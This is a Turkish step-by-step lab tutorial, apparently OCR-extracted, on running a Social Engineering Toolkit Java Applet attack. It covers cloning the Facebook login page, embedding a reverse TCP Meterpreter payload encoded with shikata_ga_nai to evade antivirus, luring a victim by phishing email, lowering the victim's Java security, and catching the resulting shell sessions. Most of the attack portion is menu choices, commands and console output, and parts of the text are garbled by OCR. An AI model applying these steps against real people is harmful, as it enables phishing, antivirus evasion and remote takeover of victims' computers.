Setoolkit ile Java Applet Saldirisi
(+) Bu yazi birebir denenmistir ve basariyla uygulanmigtir.
Gereksinimler:

Windows 7 Home Premium // Virtualbox'da mevcut
Eski Kali (kali-linux-1.0.4-amd64.iso)

Setoolkit sosyal miihendislik saldirilarinin yer aldig1 bir aractir. A¢ilimi Social Engineering
Toolkit'tir. Bu yazida setoolkit ile bir klon web sayfasi (facebook login sayfasi) olusturacagiz.
Ardindan kurbana klon web sayfasinin linkini mail ile gonderecegiz. Kurban linke tikladiginda
ekranina klon web sayfasi gelecektir ve hemen akabinde ekrana Java Applet'i calistir popup'l
gelecektir. Kurban java applet'i calistir dediginde sisteminde meterpreter payload'u calisacaktir ve
saldirganin konsoluna meterpreter session'1 gelecektir. Yani kurban java applet'i calistir diyerek
sistemini saldirgana teslim etmis olacaktir.

Simdi islemlere baglayalim. Saldirgan olarak biz Kali'yiz ve kurban da Windows 7 Home
Premium'dur. Kali'de setoolkit araci baslatilarak asagidaki adimlar uygulanir:

> se-toolkit

1) Social-Engineering Attacks

2) Fast-Track Penetration Testing

3) Third Party Modules

4) Update the Metasploit Framework
5) Update the Social-Engineer Toolkit
6) Update SET configuration

7) Help, Credits, and About

99) Exit the Social-Engineer Toolkit

Not: Social engineering attack yapacagimiz icin 1nci secenegi secelim.

set>1 /' 1 girilir

Select from Menu:

1) Spear-Phising Attack Vectors

2) Website Attack Vectors

3) Infectious Media Generator

4) Create a Payload and Listener

5) Mass Mailer Attack

6) Arduino-Based Attack Vector

7) SMS Spoofing Attack Vector

8) Wireless Access Point Attack Vector
9) QRCode Genereator Attack Vector



10) Powershell Attack Vectors
11) Third Party Modules

99) Return back to the main menu.

Not: Goriildiigii tizere social engineering attack olarak yukaridakiler mevcutmus.
Biz social engineering attack olarak website attack vector'ii secelim.

set > 2

1) Java Applet Attack Method

2) Metasploit Browser Exploit Method

3) Credential Harvester Attack Method

4) Tabnabbing Attack Method

5) Web Jacking Attack Method

6) Multi-Attack Web Method

7) Create or import a CodeSigning Certificate

99) Return to Main Menu

Not: Java Applet ile sizma secenegini secelim.

set:webattack > 1

1) Web Templates
2) Site Cloner
3) Custom Import

99) Return to Webattack Menu

/1 2 girilir.

/11 girilir.

Not: Klonlayacagimiz web sayfasini elimizle belirtmek icin Site Cloner'r secelim.

set:webattack > 2

set > Are you using NAT/Port Forwarding [yes | no] : no

/1 2 girilir.

/l no girilir.

Not: Olusturacagimiz klon web sayfasinmi 80 portundan disar1 verecegiz. Dolayisiyla
klon web sayfasina erisecek kisi [P'mizi adres cubuguna girerek siteye
erisecektir. Eger erisecek kisi dis network'te ise NAT/Port Forwarding'i yes
dememiz gerekir ki béylece olusturdugumuz web sitesini disariya acabilelim.

Ancak bizim uygulamamizda kurban i¢ network'te oldugu i¢gin direk IP'mizle
siteye erisebileceginden NAT/Port Forwarding'e no diyecegiz.

set > IP address or host name for the reverse connection: 192.168.0.19

// Kali IP girilir.



Not: Java Applet'i kurban calistirdiginda ters baglantinin gelecegi adres olarak Kali
IP'sini yazariz.

set:webattack > Enter the url to clone: https://www.facebook.com //Klonlanacak
//site girilir.

Not: Klonlayacagimiz web sitesini gireriz.

What payload do you want to generate:
Name:

1) Windows Shell Reverse TCP
2) Windows Reverse TCP Meterpreter

11) Import your own executable
Not: Java Applet'in icine gomecegimiz payload olarak Meterpreter'i belirleriz.
set:payloads > 2 // 2nci payload
/1 secilir.

Select an encoder to bypass Antivirus (AV)

1) avoid_utf8_tolower (normal)
2) shikata_ga_nai (very good)

16) Backdoored Executable (best)

Not: Payload'u kodlayacak encoder olarak shikata'y1 seceriz. Boylece kodlanmis
payload'umuz antivirus'lerce taninamayacaktir.

set:encoding > 2 /l 2nci encoder
/1 segilir.

set:payloads > PORT of the listener [443] : 443 /1 443 girilir.



Not: Kurbandan gelecek ters baglantiy1 yakalamak i¢in Kali'nin 443 nolu portunu
dinler hale geceriz.

msf exploit(handler) >
[*] Started reverse handler on 0.0.0.0:8080
[*] Starting the payload handler...

Not: Artik dinleme moduna gireriz.

Buraya kadar yaptiklarimizi 6zetlersek setoolkit araci ile bir sosyal miithendislik saldiris1 yapmay1
kararlastirdik. Atak vektorii olarak web arayiiziinii belirledik. facebook.com sitesinin klonunu
olusturup sayfanin icine Java Applet plugin'ini (meterpreter payload'unu) koyduk. Sonra web
sayfasini 80 portundan disariya actik ve 443 nolu portumuzu hedef sistemdeki meterpreter
payload'undan gelecek ters baglantilar1 yakalayabilelim diye dinler hale gectik.

root@kali: ~

File Edit View Search Terminal Tabs Help

root@kali: -

= root@kali: ~

Buraya kadar saldirganin tiim islemleri tamamlanmis bulunmaktadir. Simdi kurbanin yapmasi
gereken birkag sey vardir. O da kurban sistemine Java yazilimim kurmahdir. Ciinkii Java Applet
pluginin calisabilmesi icin kurbanin sisteminde Java kurulu olmak mecburiyetindedir. O yiizden
Windows 7 Home Premium sisteminde java.com sitesine gidelim ve Java'y1 kuralim.
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Kurbani ikna edici bir eposta olmahdir ki kurban linke tiklayabilsin. Bu yiizden eposta olarak
yukarida gorebileceginiz iizere bildirimleriniz var kandirmacasi kullanilmigtir. Kurban linke

tikladiginda asagidaki ekran gelecektir:
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fa ce bo c For security, applications must now meet the requirements for the High or Very High security
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More Information

Reason: Your security settings have blocked a self-signed application from running
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Goriildiigii tizere klon facebook sayfasi ve akabinde Java uygulamasinin bloklandig bilgisi ekrana
gelmistir. Bunu goren saf kullanic1 bisey var zannedip bloklamayi kaldirmay1 arastiracaktir.
Arastirmasi sonucunda blogun s6yle kalkacagini dgrenecektir: Once Baglat meniisiine tiklanilir.
Ardindan ara kismina Configure Java yazilir ve ekrana gelen simgeye tiklanilir.

@ Facebook'a Giris Yap | Facebook - Windows Internet Explorer | = || &P | =
&> )~ [E rup192168019/ ~ [umu 42 | % | [ 2 Bing =™

Programs (2)

> 5 |Safety ~ Tools~ @~

|| Configure Java M yicini gincelle.

ié‘ Java configure &oj

View or change Java settings. }

ements for the High or Very High security
allowed to run.

rmation

f-signed application from running

7 See more results

Ijava configure = f | Shut down | » { g
nternet | Protected Mode: On 5 ~ ®100% -

m Q -~ B U0 W 11;:-99/;0'\:6 ™

Ekrana gelen java yapilandirma penceresindeki Security'ye tiklanilir ve daha sonra gelen
penceredeki Edit Site List diigmesine tiklanilir.
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Security level for applications not on the Exception Site list
@ Very High

fa Ce b o Only Java applications identified by a certificate from a trusted authority are allowed to run,
and only if the certificate can be verified as not revoked.

m

() High

Java applications identified by a certificate from a trusted authority are allowed to run, even if
the revocation status of the certificate cannot be verified.

Exception Site List
Applications launched from the sites listed below will be allowed to run after the appropriate security

prompts.
IClick Edit Site List...
to add items to this list. Edit List...
IAdd, Removwve, or Edit entries on the Exception Site List
Restore Security Prompts ] [ Manage Certificates... ]
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Az dnce java applet engellemesiyle karsilastigimiz link (yani Kali IP'si) listeye eklenir.
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Applications launched from the sites listed below will be allowed to run after the appropriate security
prompts.

Location
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[ Add ][ Remove

FILE and HTTP protocols are considered a security risk.
We recommend using HTTPS sites where available.

[ o< ] [ cancel |

[ Restore Security Prompts ][ Manage Certificates... ]
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OK denir ve ekrana gelen dialog box'taki Continue diigmesine tiklanilir.
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Location: http://192.168.0.19
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Locations that use HTTP are a security risk and may compromise the personal information on your
computer. We recommend including only HTTPS sites on the Exception Site List.

Click Continue to accept this location or Cancel to abort this change.
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We recommend using HT TPS sites where available.
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Ardindan giivenlik seviyesi Very High 'dan High seviyesine cekilir.
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Security level for applications not on the Exception Site list
() Very High

fu Ce b o Only Java applications identified by a certificate from a trusted authority are allowed to run,
and only if the certificate can be verified as not revoked.

m

Java applications identified by a certificate from a trusted authority are allowed to run, even if
the revocation sw.ls of the certificate cannot be verified.

Exception Site List
Applications launched from the sites listed below will be allowed to run after the appropriate security
prompts.

http://192. 168.0. 19 -

[ Edit Site List... ]
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[ Restore Security Prompts ][ Manage Certificates... ]

= & 1:24 AM
Ble|. Ol. 5

Ve sonra Apply denir.
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Security level for applications not on the Exception Site list hyicini glincelle =

() Very High

Only Java applications identified by a certificate from a trusted authority are allowed to run,
and only if the certificate can be verified as not revoked.
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Java applications identified by a certificate from a trusted authority are allowed to run, even if
the revocation status of the certificate cannot be verified.

Exception Site List
Applications launched from the sites listed below will be allowed to run after the appropriate security
prompts.

ttp://192.168.0.19 e
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Boylece kurban kendi sisteminde klon web sayfasi ziyareti sirasinda ¢alisacak Java Applet
plugin'lerinin ¢alismasina izin vermis bulunmaktadir. Bunun iizerine kurban klon web sayfasim
refresh'lediginde asagidaki popup ekrana gelecektir:
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Do you want to run this application?
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Location: http:/f192.168.0.19

m

Running this application may be a security risk

Risk: This application will run with unrestricted access which may put your computer and personal h
information at risk. The information provided is unreliable or unknown so it is recommended not to
run this application unless you are familiar with its source

More Information

Select the box below, then click Run to start the application

[ ] I accept the risk and want to run this application. | Run
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Goriildiigii gibi bu sefer Java Applet plugin'i bloklanmamigtir. Calistirilmasi icin izin istenmektedir.
Tick kutucugunu isaretleyip Run dedigimizde meterpreter payload'u kurbanin sisteminde
calisacaktir. Boylece kurban Kali'ye ters bir baglant: talebinde bulunacaktir. Kali ise dinleme



modunda oldugu icin ters baglantiy1 yakalayacaktir ve meterpreter session'lar1 Kali komut satirina
gelecektir.

root@kali: ~
File Edit WView Search Terminal Tabs Help

root@kali: ~ root@kali: ~
= _.php HTTP/1.1" 4064

(751104 by

0.19:443 -= 192.168.0.

opened (192.168.0.19:53 = 8.0.18:49 5) at 2016
opened (192 68 .0.19: 92 .1 8: 2) 2016
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Bu session'lardan bir tanesini se¢mek icin énce ENTER yapilir, sonra sessions komutu girilir.

msf exploit(handler) > sessions

File Edit View Search Terminal Tabs Help

root@kali: ~ root@kali: ~

Information Connec

HEFESE -PC

HEFESE -PC

HEFESE -PC

Iclerinden bir tanesi secilir.




msf exploit(handler) > sessions -i 1

root@kali: ~

File Edit WView Search Terminal Tabs Help

root@kali: ~ root@hkali: ~

Connection

Boylece meterpreter session'1 kullanima hazir olur.

meterpreter >

Kurban Java Applet'i calistir dediginde birden fazla meterpreter session'1r Kali'ye génderirken ayni
zamanda orijinal facebook sayfasina yonlendirilir.
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i, For a better experience on facebook, switch to our basic site or update your browser

Log in to Facebook
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Boylece kurban olayin farkina varmaz. Sifreyi yanls girdim herhalde deyip tekrar sifresini bu sefer
orijinal facebook login sayfasina girer, oturumunu acar ve facebook'ta surf'unu yapar. Saldirgan ise




meterpreter session'l iizerinden hedef sitemde diledigi at1 oynatabilir duruma gelir.

Sonuc¢

Biz Kali'de bir klon web sayfasi olusturduk. Klon web sayfasina java applet olarak meterpreter
payload'unu koyduk. Web sayfasini 80 portundan digariya agtik. Kullaniciya email yoluyla web
sayfamizin linkini verdik. Kullanic1 web sayfasina girdi. Java Applet'i calistir dedi. Boylece
meterpreter ¢alisti. Kullanici orijinal facebook login sayfasina yonlendirildi ve meterpreter
baglantilar1 bize geldi. Bunun neticesinde biz kullanicinin sisteminde istedigimiz gibi at oynatabilir
hale geldik.

Ekstra

Bu belgede yaptigimiz saldiriya sosyal miihendislik saldirisi ad1 verilir. Ciinkii bu saldirida biz
Kali'de olusturdugumuz web sayfasinin linkini ikna edici bir mail ile kurbana génderdik. Boylece
kurban mail'deki linke tiklayinca web sitesine baglandi, ekrana gelen java applet plugin'ini ¢alistirdi
ve sistemini saldirgana teslim etmis oldu. Yani kullaniciy1 mail ile kandirdigimiz igin kullanici
email'indeki linke tikladi, sahte web sayfasina yonlendi, applet'i calistirdi ve sistemine sizdik.
Dolayisiyla mail iizerinden kurbani kandirmak suretiyle sisteme sizdigimiz icin bu saldiriya sosyal
miihendislik saldirisi ad1 verilir.

Ornegin HTTrack Kullanimi.docx belgesinde HTTrack tool'u ile klon bir web sayfasi (facebook
login sayfasi) hazirlamistik. O web sayfasinin linkini kullaniciya ikna edici bir mail ile
gondermistik. Kullanici email'indeki linke tiklamisti. Sonra sahte facebook login sayfasina
yonlenmisti. Kullanic1 ad1 ve sifre bilgilerini sahte web sayfasina girmisti. Biz de bu bilgileri
dosyalamustik ve kullaniciy: orijinal facebook login sayfasina yonlendirmistik. Iste bu saldiriya da
sosyal miithendislik saldiris1 ad1 verilir. Ciinkii bu saldirida da kullaniciyr mail ile kandirmis
bulunmaktayiz ve bu kandirma sayesindedir ki kullanici email'indeki linke tikladi, sahte web
sayfasina yonlendi ve kullanici adi - sifre bilgilerini girerek bilgilerini bize kaptirdi (Detayl bilgi
icin bkz. Tez Raporu/internetten Edinilmis Kiymetli Bilgiler/Elden Gegirdigim Notlar/HT Track
Kullanimi.docx). Dolayisiyla mail iizerinden kurban kandirmak suretiyle kurbanin kullanici adi -
sifre bilgilerini ele gecirdigimiz icin bu saldiriya da sosyal miihedislik saldirisi ad1 verilir.

Anlatilan bu iki saldir1 da email yoluyla yapildigi icin sosyal miihendislik saldirisi tiirlerinden
Phising saldiris1 olarak adlandirilirlar. Phishing gibi daha bir¢ok sosyal miihendislik saldir tiirleri
mevcuttur. Onlardan bazisi su sekildedir:
Sosyal Miihendislik Saldir1 Tiirleri;

- Phising

Email yoluyla yapilan sosyal miihendislik saldirilarina denir.

- Spear Phising

Email yoluyla yapilan sosyal miihendislik saldirilarina denir. Fakat

Spear Phising spesifik bir kimseye ya da spesifik bir organizasyona email

yoluyla yapilan sosyal miihendislik saldirisina denirken Phising kitlesel olarak ele
gecen herkese email yoluyla yapilan sosyal miihendislik saldirilarina denir.

- Baiting



Malware iceren bir USB flash'inin bir ortamda birakilmasi ve o ortamdaki kurbanin
merak edip USB Flash't makinasina takmasiyla gerceklesen sosyal miihendislik
saldirisina denir. USB Flash'1 takan kurbanin makinasi1 malware'i kapacaktir ve eger
yetenekliyse agdaki her bilgisayara bulagacaktir.

- Scareware
Kullaniciya makinasinin viruslii oldugunu ileri siirerek temizlemesi icin belirtilen
uygulamayi indir seklinde kandirma usuliinii kullanan saldirilara scareware saldirisi

denir. Kulanici makinasini temizlemek maksadiyla malware'i indirince saldirgan
hedef sistemi ele gecirmis olur.

Yararlanilan Kaynaklar
Web Penetration Testing in Kali Linux, pg. 132-139
https://samsclass.info/123/proj10/p4-set-java.htm

http://searchsecurity.techtarget.com/definition/social-engineering



